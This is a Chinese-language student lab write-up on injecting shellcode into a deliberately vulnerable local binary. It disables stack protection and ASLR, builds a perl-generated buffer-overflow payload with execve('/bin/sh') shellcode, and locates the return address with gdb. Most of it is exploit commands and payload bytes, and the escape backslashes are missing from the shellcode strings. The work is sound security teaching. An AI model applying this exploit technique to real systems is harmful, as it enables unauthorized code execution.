注入Shellcode并运行攻击#
一、实验步骤##
1.安装execstack并修改设置###
-
安装execstack
apt-get install execstack
-
设置堆栈可执行
execstack -s 20154305
-
查询文件的堆栈是否可执行
execstack -q 20154305
- 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
- 查询地址随机化是否关闭
more /proc/sys/kernel/randomize_va_space
0代表关闭,2代表开启
2. 构造攻击buf###
本实验采用 retaddr+nop+shellcode 方法####
-
由以上两阶段实验已经知道pwn1文件的foo函数字符串缓冲大小为32Byte
-
采用老师提供的shellcode 的代码
x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00
-用perl语言输入代码 perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
3. 确定返回地址的值###
- 将写好的代码通过管道方式输入给程序20154305中的foo函数进行覆盖
(cat input_shellcode;cat) | ./20154305
此处应注意,输入完指令只需要按一次回车,然后我们需要打开另一个终端
-
打开另外一个终端,用gdb来调试pwn1这个进程
-
首先找到20154305程序的进程号
ps -ef | grep 20154305
-
启动gdb调试这个程序
gdb
attach 2041
通过ps指令可以看到20154305程序有两个进程号:2041和2088,2041为上一个终端打开时的调用,故我们attach 2041进行调试
- 设置断点来查看注入buf的内存地址
disassemble foo
ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
-
break *0x080484ae
设置断点 -
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
-
再在gdb调试的终端输入 c 继续运行程序
-
通过
info r esp
查看esp寄存器的地址
-
上图可以看到 01010304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
0xffffd3cc + 0x00000004 = 0xffffd3d0
。 -
退出gdp调试。
4. 修改注入代码的覆盖地址
输入
perl -e 'print "A" x 32;print "xd0xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
(cat input_shellcode;cat) | ./20154305